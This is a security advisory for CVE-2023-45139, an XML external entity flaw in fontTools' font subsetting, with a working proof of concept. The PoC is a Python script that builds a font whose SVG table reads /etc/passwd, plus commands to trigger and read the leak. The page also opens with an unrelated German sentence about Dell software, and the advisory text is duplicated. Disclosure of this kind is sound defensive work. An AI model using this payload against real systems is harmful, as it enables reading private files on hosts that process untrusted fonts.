CVE-2023-45139

Ein lokaler Angreifer kann mehrere Schwachstellen in Dell PowerProtect Data Domain ausnutzen, um seine Privilegien zu erhöhen, Informationen offenzulegen und um nicht näher beschriebene Auswirkungen zu erzielen.

### Summary As of `fonttools>=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. ### PoC The vulnerability can be reproduced following the bellow steps on a unix based system. 1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow. ```python from string import ascii_letters from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen from fontTools.ttLib import newTable XXE_SVG = """\ <?xml version="1.0"?> <!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g id="glyph1"> <text font-size="10" x="0" y="10">&test;</text> </g> </svg> """ def main(): # generate a random TTF font with an SVG table glyph_order = [".notdef"] + list(ascii_letters) pen = TTGlyphPen(glyphSet=None) pen.moveTo((0, 0)) pen.lineTo((0, 500)) pen.lineTo((500, 500)) pen.lineTo((500, 0)) pen.closePath() glyph = pen.glyph() glyphs = {g: glyph for g in glyph_order} fb = FontBuilder(unitsPerEm=1024, isTTF=True) fb.setupGlyphOrder(glyph_order) fb.setupCharacterMap({ord(c): c for c in ascii_letters}) fb.setupGlyf(glyphs) fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order}) fb.setupHorizontalHeader() fb.setupOS2() fb.setupPost() fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"}) svg_table = newTable("SVG ") svg_table.docList = [ (XXE_SVG, 1, 12) ] fb.font["SVG "] = svg_table fb.font.save('poc-payload.ttf') if __name__ == '__main__': main() ``` 2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process): ```shell pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs ``` 3. Read the parsed SVG table in the subsetted font: ```shell ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx ``` Observed the included contents of the `/etc/passwd` file. ### Impact Note the final severity is dependant on the environment fontTools is running in. - The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on ### Possible Mitigations There may be other ways to mitigate the issue, but some suggestions: 1. Set the `resolve_entities=False` flag on parsing methods 2. Consider further methods of disallowing doctype declarations 3. Consider recursive regex matching

### Summary As of `fonttools>=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. ### PoC The vulnerability can be reproduced following the bellow steps on a unix based system. 1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow. ```python from string import ascii_letters from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen from fontTools.ttLib import newTable XXE_SVG = """\ <?xml version="1.0"?> <!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g id="glyph1"> <text font-size="10" x="0" y="10">&test;</text> </g> </svg> """ def main(): # generate a random TTF font with an SVG table glyph_order = [".notdef"] + list(ascii_letters) pen = TTGlyphPen(glyphSet=None) pen.moveTo((0, 0)) pen.lineTo((0, 500)) pen.lineTo((500, 500)) pen.lineTo((500, 0)) pen.closePath() glyph = pen.glyph() glyphs = {g: glyph for g in glyph_order} fb = FontBuilder(unitsPerEm=1024, isTTF=True) fb.setupGlyphOrder(glyph_order) fb.setupCharacterMap({ord(c): c for c in ascii_letters}) fb.setupGlyf(glyphs) fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order}) fb.setupHorizontalHeader() fb.setupOS2() fb.setupPost() fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"}) svg_table = newTable("SVG ") svg_table.docList = [ (XXE_SVG, 1, 12) ] fb.font["SVG "] = svg_table fb.font.save('poc-payload.ttf') if __name__ == '__main__': main() ``` 2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process): ```shell pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs ``` 3. Read the parsed SVG table in the subsetted font: ```shell ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx ``` Observed the included contents of the `/etc/passwd` file. ### Impact Note the final severity is dependant on the environment fontTools is running in. - The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on ### Possible Mitigations There may be other ways to mitigate the issue, but some suggestions: 1. Set the `resolve_entities=False` flag on parsing methods 2. Consider further methods of disallowing doctype declarations 3. Consider recursive regex matching